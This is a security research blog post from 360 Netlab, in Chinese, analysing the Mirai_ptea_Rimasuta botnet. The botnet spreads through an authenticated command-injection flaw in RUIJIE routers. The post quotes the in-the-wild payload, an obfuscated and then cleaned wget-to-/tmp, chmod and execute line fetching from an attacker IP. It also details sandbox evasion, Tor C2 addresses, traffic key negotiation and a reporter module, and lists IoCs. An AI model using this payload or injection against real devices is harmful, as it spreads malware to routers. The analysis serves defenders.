

0-day

# Mirai\_ptea\_Rimasuta变种正在利用RUIJIE路由器在野ODAY漏洞传播



Hui Wang, Alex.Turing, YANG XU

Sep 28, 2021 • 14 min read

## 版权

版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。

## 概述

2021年7月我们向社区公布了一个通过KGUARD DVR未公开漏洞传播的僵尸网络 [Mirai\\_ptea](#)，一开始我们认为这是一个生命短暂的僵尸网络，不久就会消失不见，因此只给了它一个通用的名字。但很显然我们小看了这个家族背后的团伙，事实上该家族一直非常活跃，最近又观察到该家族正在利用 [RUIJIE\\_NBR700](#) 系列路由器的在野oday漏洞传播。

比较有意思的是，该家族的作者曾经在某次更新的样本中加入了这么一段话吐槽我们的[mirai\\_ptea](#)命名：

```
-_- you guys didnt pick up on the name? really??? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.
```

出于对作者的"尊重"，以及对该团伙实力的重新评估，我们决定将其命名为 **Mirai\_ptea\_Rimasuta**。

不同于大多数Mirai/Gafgyt僵尸网络惯用的telnet弱口令传播，Mirai\_ptea\_Rimasuta偏爱oday，短短的时间内就发现使用2个漏洞来传播，这说明其背后的团伙有比较强的漏洞发现&整合能力。Mirai\_ptea\_Rimasuta目前样本在不停的迭代开发中，处于非常活跃的状态，此次活动Rimasuta已经开始对抗沙箱的自动化运行，并将网络流量加密以对抗网络层面的检测，这说明其背后的团伙有比较强的编码创新能力。

从团伙画像的角度来看，Mirai\_ptea\_Rimasuta的作者性格跳脱，喜欢在样本中留下“彩蛋”和安全研究人员进行互动，或许我们和他之间的“战争”将持续非常长时间。

## 时间线

- 2021-06-10 另一个mirai变种mirai\_aurora首先利用此漏洞传播
- 2021-09-05 我们首次捕获到利用此漏洞传播的Mirai\_ptea\_Rimasuta样本，这之前Mirai\_ptea\_Rimasuta很可能利用这个漏洞在传播了
- 2021-09-06 我们向厂商通报了漏洞情况
- 2021-09-09 厂家确认漏洞存在，并告知已经[停止维护](#)这个版本的设备，厂家认为可以通过修改默认密码缓解，所以不打算提供新的补丁修复漏洞。

# 漏洞利用分析

## 漏洞类型

需授权命令注入漏洞

## 漏洞细节

为避免漏洞滥用，我们不公开全部细节。本节说明仅包括部分漏洞利用过程。RUJIE路由器设备上存在一个名为 `wget_test.asp` 测试的接口，该接口接受从页面传入的URL进行wget测试(测试功能最终通过一个名为 `wget_test.sh` 的脚本实

现)，但没有对传入参数进行特殊字符检查，导致命令注入。注意：该接口需要登录认证。但因为RUIJIE路由器同时存在弱口令漏洞，所以攻击者可以将这2个漏洞结合起来发起攻击。根据我们调查，目前在线设备有不少依然存在这个问题。

其中 `wget_test.sh` 的内容如下：

```
#!/bin/sh

while [ 1 ]
do
    wget -O /dev/null $1;
    sleep 1;
done
```

## 已知受影响设备版本

NBR1600GDX9	Release(180516)
RGNBR700GDX5	Release(180202)
RGNBR700GDX5	Release(180314)
RGNBR700GDX9	Release(180720)
RGNBR700Gwdx5	Release(180314)
RGNBR700Gwdx9	Release(180613)
RGNBR700Gwdx9	Release(180720)
RGNBR700Gwdx9	Release(191023)
RGNBR900GA1C2	Release(170809)

## 在野漏洞利用payload分析

部分漏洞利用Payload如下：

上图中的URL对应的文件内容如下所示，第一眼看上去，有点奇怪，因为它使用了许多空的变量来迷惑安全分析人员。

```
v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};
```

当去除这些变量后，它的功能就很直观了：下载样本，执行。

```
v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};
```

# Bot规模分析

从我们的数据视野看，该僵尸网络的活跃Bot源IP趋势如下：

Bot源IP地理位置分布如下：

## 样本分析

本文选取ARM架构的样本为主要分析对象，它的基本信息如下所示：

```
MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
```

众知周知Mirai\_ptea\_Rimasuta是一个Mirai变种，它重新设计了加密算法和C2通信。在加密算法方面，Mirai\_ptea\_Rimasuta通过使用TEA算法代替Mirai简单的XOR加密，大量的敏感的资源信息如C2，Tor Proxy等都是加密存储在样本中的；在C2通信方面，Mirai\_ptea\_Rimasuta使用Tor Proxy间接和C2建立通信。这部分的详细信息，感兴趣的读者可以参考我们上一篇Blog，本文着重关注此次活动样本的一些变化。

### 0x1: TEA密钥

此次活动的Mirai\_ptea\_Rimasuta样本，硬编码了2组TEA密钥，一组用于加&解敏感资源，一组用于加&解密网络流量，为了区分，我们将前者称之为Res\_teakey，后者为Net\_teakey。

Res\_teakey 如下所示：

Res\_teakey DCD 0x838EEAA7, 0xBCEBBB91, 0xF3A55171, 0x6B4A445

部分资源信息解密后如下所示，注意index c的内容，This WEek on NeTLAb 360 b0Tnet oPERATOR lEaRNS CHacha SlIDE。

```
index 0, value = /proc/  
index 1, value = /exe  
index 2, value = /fd  
index 3, value = /proc/net/tcp  
index 4, value = /cmdline  
index 5, value = /status  
index 6, value = /maps  
index 7, value = /dev  
index 8, value = /dev/misc  
index 9, value = /dev/misc/watchdog  
index a, value = /dev/watchdog  
index b, value = watchdog  
index c, value = This WEek on NeTLAb 360 b0Tnet oPERATOR lEaRNS CHacha SlIDE
```

当第一次看到这项内容时，我们的反应是黑人问号脸。借此机会，我们只想对Mirai\_ptea\_Rimasuta的作者说，“好好加油，努力让我们惊艳，或许我们真会写个PPT来专门讨论你”，LOL。

Net\_teakey 如下所示：

Net\_teakey DCD 0x60855EE3, 0xA33852FE, 0xA9B82AD8, 0x30B4BE6D

实际上它并没有被使用，只是充当占位符，Mirai\_ptea\_Rimasuta在运行时会动态生成新的Net\_teakey，这部分的内容将在下文的网络协议部分论述。

## 0x2: 环境检测

大量沙箱或模拟器在处理样本时，会将样本存放在一个固定的路径并以MD5或随机字串命名。Mirai\_ptea\_Rimasuta通过已下代码片段来检测样本运行时的路径&文件

名，只有符合要求才会进入真正的逻辑，否则就退出，这是一种非常明显的对抗。

以下为部分“合法运行路径”

```
./.rib  
/XXriXX
```

## 0x3: C2变化

Mirai\_ptea\_Rimasuta通过以下代码片段来获取Tor C2，可以看出C2在加密资源中的表项为0xD，一共有6个C2(random mod 6)。

```
case 3:  
    v44 = ranom_next();  
    i = (unsigned __int8)mod_proc(v44, 6);  
    port = _byteswap_ushort(portlist[i]);  
    dec_proc((int)&v89, 0xDu);  
    sub_F100((int)(v17 + 5), (int)(&v89 + 56 * i), 56); C2 prefix part  
    sub_F100((int)(v17 + 61), (int)&v90, 6); C2 suffix part  
    sub_F100((int)(v17 + 67), (int)&port, 2); C2 port  
    sub_F0B4((int)&v89, 342);  
    v43 = 2;  
    v84 = 69;  
    stage = 2;  
    goto LABEL_80;
```

0xD中的加密信息解密后如下所示：

```
index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouy
```

将上面字串排除尾部的“.onion”后以长度56分割，然后和尾部的.onion字串进行拼接，就得到了以下6个C2，这6个C2和样本中硬编码6个的port存在一一对应关系。

```
uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346  
wrabajewouwpwdxdsq4rxn7heb3k53ihogik46j16o7gj65yeo33reqd.onion:32288  
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774  
rg7t465nvnnzugdbdqdg3yf2pyppssynb4wxavggzb4me2lecnw23ivyd.onion:6000  
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644  
pnjc66nasxdomwlyqo32d4ft43po0o7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
```

## 0x4: 网络协议变化

此次活动的Mirai\_ptea\_Rimasuta样本对网络流量也开始使用TEA算法加密，虽然在样本中存有一组硬编码的密钥Net\_teakey，但实际中并没有使用，而是通过和C2协商动态生成的新的密钥。Net\_teakey由4个4字节数据组成，下文将以Net\_teakey[下标]的方式表示其中的某一项。

整个通信过程可以分成以下3步：

Stage 1. 和通过TOR PROXY和TOR C2建立通信

Stage 2. TEA密钥协商

Stage 3. 接收C2下发的指令，注意此时流量都已加密

其中的重点在第2步密钥协商，以下图实际产生的数据流量为例，我们将一步一步论述Bot&C2是如何得到相同的密钥。

00000000 05 01 00	...	
00000000 05 00	..	
00000003 05 01 00 03 3e 76 6d 64 6d 35 6a 72 6d 6b 73 69	....>vmd m5jrmksi	
00000013 7a 70 74 36 66 37 74 72 73 6e 6f 36 6f 64 37 78	zpt6f7tr sno6od7x	
00000023 63 66 73 36 68 7a 79 77 61 68 34 36 65 61 6a 75	cfs6hzyw ah46eaju	
00000033 37 32 6a 6b 66 76 71 62 71 64 63 71 64 2e 6f 6e	72jkfvqb qdcqd.on	
00000043 69 6f 6e 6b fc	ionk.	
00000002 05 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00	.....	
00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b	..)...)rS K... . .	
0000000c 99 9f 65 e1 7a 80 96 e9 f5 13 31 dc 66 77 e9 66	..e.z... ..1.fw.f	
0000001c cd 54 ab e1 24 44 e4 bb 7a 6d 81 28 df ef ca 4e	.T..\$D.. zm.(...N	
0000002c 12 32 7b 27 09 a4 01 91	.2{'....	Stage 2, Net teakey agreement
00000056 99 9f ff 7d fa a6 33 e0 02 19 fe 6d 20 72 b2 fb	...}..3. ...m r..	
00000066 dc 94 c1 dc 43 82 e3 95 b9 a1 24 a0 86 69 37 78	....C... ...\$.17x	
00000076 99 9f e7 d6 19 75 72 f6 ad 2f 2a e2 b1 62 c1 d1	.....ur. ./*..b..	
00000086 c1 e6 39 56 dc 99 7f 7b	..9V...{	
00000034 99 9f aa d6 7d a6 4c c6 db a0 4d 6c ee 07 60 94	....}.L. ..M1...`.	
00000044 75 da d6 64 8e e5 bf 8a 4a ae e1 84 dc a6 61 09	u..d.... J.....a.	
00000054 7f 5a e8 08 68 62 e6 0c 99 d1 18 3a 19 a9 f7 15	.Z..hb.. ....:....	
00000064 6e b6 15 73 17 1b 61 ab f5 8b 39 25 77 56	n..s..a. ...9%wV	Stage 3, Communication under TEA encryption

Stage1是典型的和TOR C2建立通信的过程，此处不再赘述。从Stage2开始，Mirai\_ptea\_Rimasuta的数据包由

head(2bytes), hash(4bytes), content(Nbytes) 3部分组成，其中head的值在一次会话中是固定，hash的值由附录中的hash\_calc函数对content计算而来。

整个协商过程如下所示：

1. Bot随机生成12个字符，使用附录中的hash\_calc算法，得到Net\_teakey[0]的值。此时Bot有Net\_teakey[0]，C2不知道任何Net\_teakey的值。

```
| Net_teakey[0] = hash_calc(*(unsigned __int8 **)(v74 + 12), 12); random 12 bytes
```

2. Bot随机化8个字符构成content，使用hash\_calc计算content得到hash，并把hash值的低16位放到head中，然后将这个包长为14字节的数据包发给C2，最后通过hash\_calc计算整个包得到Net\_teakey[2]值，此时Bot有Net\_teakey[0,2]，C2有Net\_teakey[2]。

```

v39 = v13 + 6;
randomcalc((int)(v13 + 6), 8); content
v40 = hash_calc(v13 + 6, 8); hash
sbuflen = (void *)14;
*(BYTE *)(v75 + 1) = HIBYTE(v40); head
stage = 7;
*(BYTE *)v75 = v40; Net_teakey[2] = hash_calc(v13, 14);
v41 = 8;
v42 = v75 + 4;
goto LABEL_87;

```

3. C2回包给Bot，其中的hash的值供第4步中使用。

4. Bot收到C2的回包后，将本地IP，第1步中的随机字符等信息构成content，使用TEA算法（Res\_teakey为密钥）加密，构造好长度为32字节的数据包发算给C2，其中hash的值就是Net\_teakey[1]，最后把第3步的C2 hash与自己的Bot hash通过hash\_calc计算，到是Net\_teakey[3]。此时Bot已经知道Net\_teakey中的4个值了，获得顺序为[0,2,1,3]。

```

v42 = v75 + 4;
v44 = wrap_strncpy((int)v5, v75 + 4, 4);
v45 = getlocalip(v44);
v46 = *(DWORD *)(v75 + 4);
v39 = v13 + 6;
dword_1A96C = v45;
*(DWORD *)(v74 + 8) = v45;
*(DWORD *)v74 = v46;
wrap_strncpy((int)(v13 + 6), v74, 4);
wrap_strncpy((int)(v13 + 10), v74 + 4, 1);
wrap_strncpy((int)(v13 + 11), v74 + 5, 1);
wrap_strncpy((int)(v13 + 12), v74 + 6, 1);
wrap_strncpy((int)(v13 + 13), v74 + 8, 4); local ip
wrap_strncpy((int)(v13 + 17), *(DWORD *)(v74 + 12), 12);
enc_proc((unsigned int)(v13 + 6), 24); random 12 bytes
v41 = 26;
sbuflen = (void *)32;
Net_teakey[1] = hash_calc(v13 + 6, 26);
stage = 10;
goto LABEL_87; wrap_strncpy((int)(v5 + 4), v75 + 4, 4);
Net_teakey[3] = hash_calc(v5, 8);

```

5. C2收到Bot的包后，首先能到Net\_teakey[1]，然后通过hash\_calc计算得到Net\_teakey[3]，最后解密content得到Bot在第1步中使用的12个字串，再通过hash\_calc计算到得Net\_teakey[0]。此时C2也知道了Net\_teakey中的4个值，获得顺序为[2,1,3,0]。

至此协商过程结束，Bot&C2的后续通信使用密钥为Net\_teakey的TEA算法加&解密。

```
dword_1A8BC = sub_E210((int)v13);
*(_DWORD *)(&v75 + 4) = hash_calc(v13 + 6, dword_1A8BC - 6);
wrap_strncpy((int)v13, v75, 2);
wrap_strncpy((int)(v13 + 2), &v75 + 4, 4);
commu_enc((unsigned int)(v13 + 6), (dword_1A8BC - 6) & 0xFFFF, Net_teakey);
/libc_send((void *)c2fd, v13, (void *)dword_1A8BC, (void *)0x4000);
```

## 0x5: 信息收集功能

此次活动的Mirai\_ptea\_Rimasuta样本会监控被侵入设备的TCP网络连接情况，并将符合特定要求的连接明细上传到Reporter。我们认为Mirai\_ptea\_Rimasuta的作者会依托其这部分收集到的信息，进行数据挖掘。

具体实现过程可以分成以下几步：

1. 通过/proc/net/tcp获取当前TCP网络连接的inode信息，以及网络连接的状态State信息
2. 通过/proc/[pid]/fd获取的socket inode，和第1步中的inode进行匹配，得到相应的进程
3. 通过/proc/[pid]/cmdline获取第2步中的进程的cmdline信息
4. 如果网络连接的State为"established"且cmdline中有"wget"字串时，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。
5. 如果网络连接的State为“listen”，本地端口为"3451,8888,17872,9137"其中的一个，且有进程和此进程建立了连接，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。
6. 如果网络连接的State不是“established,listen”中的一个时，将此进程的 cmdline，以及网络通信的远端地址&端口上报给Reporter。

其中通过下以代码片段和Reporter建立通信，其中Reporter解密后的内容为

gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsqlnnifulbzqd.onion。

当成功和Reporter建立通信后，通过以下代码片段构建要上报的信息。

```

wrap_strncpy((int)v43, (int)&magic, 2);    magic           DCB 0x5A
wrap_strncpy((int)&v43[2], (int)&v53, 4);          DCB 0xA5
v56 = _byteswap_ushort(v56);
wrap_strncpy((int)&v43[6], (int)&v56, 2);
v56 = 0;
v15 = wrap_strncpy((int)&v43[8], (int)&v56, 1);
dword_1A96C = getlocalip(v15);
wrap_strncpy((int)&v43[9], (int)&dword_1A96C, 4);      Compose data
v56 = wrap_strlen(v41);
wrap_strncpy((int)&v43[13], (int)&v56, 1);
wrap_strncpy((int)&v44, (int)v41, (unsigned __int8)v56 | (HIBYTE(v56) << 8));
_libc_send(
    (void *)infod,
    v43,
    (void *)((unsigned __int8)v56 | (HIBYTE(v56) << 8)) + 14),
    (void *)0x4000);

```

实际中产生的Report数据包，以及各字段含义如下所示：

#### RAW packet

```

00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.....:wg
00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -0 - http:
00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20 licName
-----
```

#### Field parsing

5A A5	----> magic, 2bytes
90 D9 F9 37	----> remote ip, 4 bytes
B4 D6	----> remote port, 2 bytes
00	----> hardcode, 1 byte
AC 1E 01 09	----> local ip
3A	----> length of "cmdline"
77 67 ..to end	----> cmdline

# 处置建议

我们建议RUIJIE路由器用户及时检查并更新固件系统。为Web管理接口设置复杂登陆密码。

# 联系我们

感兴趣的读者，可以在[twitter](#)或者在微信公众号 36oNetlab 上联系我们。

## IoC

### Downloader

```
http://2[.56.244.121/tuPuSSbAxXIw
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzB0
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWT0mgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSKE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/00GRLHgUnshR
```

### Sample MD5

```
b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfcc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd
```

```
uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346  
wrabajewouywxdsq4rxn7heb3k53ihogik46ji6o7gj65yeo33reqd.onion:32288  
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeysihsyu7e5rehj7bfkad.onion:17774  
rg7t465vnzzugdbdqdg3yf2pypssynb4wxavghb4me2lecnw23ivyd.onion:6000  
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644  
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
```

## Reporter

```
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667  
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668  
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669
```

## 附录

---

```
RAW packet
#00000048 99 9f 29 9c 9f 99 72 53  4b 7f e9 08 7c 9b      ..)....rS K...|.
# head      99 9f
# hash      29 9c 9f 99
# content   72 53  4b 7f e9 08 7c 9b
-----
```

```
def hash_calc(buf, len):
    cnt=len>>2
    cnt2=len&3
    sum=len

    for i in range(0,cnt*4,4):
        tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)
        tmp2=(tmp^((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0x
        sum=(tmp2+(tmp2>>11))&0xffffffff

    if cnt2==3:
        tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
        tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)
        sum=(tmp2+(tmp2>>11))&0xffffffff

    elif cnt2==2:
        tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
        sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)

    elif cnt2==1:
        tmp=((ord(buf[cnt*4])+sum)<<10)&0xffffffff^ (ord(buf[cnt*4])+sum)
        sum=(tmp+(tmp>>1))&0xffffffff

    else:
```

pass

```
tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)
tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)
final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)

return final&0xffffffff
```

content='''

```
72 53 4b 7f e9 08 7c 9b
```

```
''''.replace(' ', '').replace('\n','').decode('hex')
```

```
print hex(hash_calc(content,len(content)))
```

0 Comments

1 Login ▾

G

Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS [?](#)

Name



Share

Best [Newest](#) [Oldest](#)

Be the first to comment.

Subscribe

Privacy

Do Not Sell My Data

— 360 Netlab Blog - Network  
Security Research Lab at 360 —

0-day

0-day

**Mirai\_ptea\_Rimas  
uta variant is  
exploiting a new**

Botnet

**The Mostly Dead  
Mozi and Its'  
Lingering Bots**



EwDoor僵尸网络，正在攻击美国AT&T用户

EwDoor Botnet Is Attacking AT&T Customers

一个藏在我们身边的巨型僵尸网络 Pink

[See all 22 posts →](#)

## RUIJIE router 0 day to spread

Overview In July 2021 we blogged about Mirai\_ptea, a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which



Sep 28, 2021 · 10 min read



Background It has been nearly 2 years since we (360NETLAB) first disclosed the Mozi botnet in December 2019, and in that time we have witnessed its development from a small-scale botnet to a giant that accounted for an extremely high percentage of IOT traffic at its peak. Now that Mozi&



Aug 30, 2021 · 10 min read

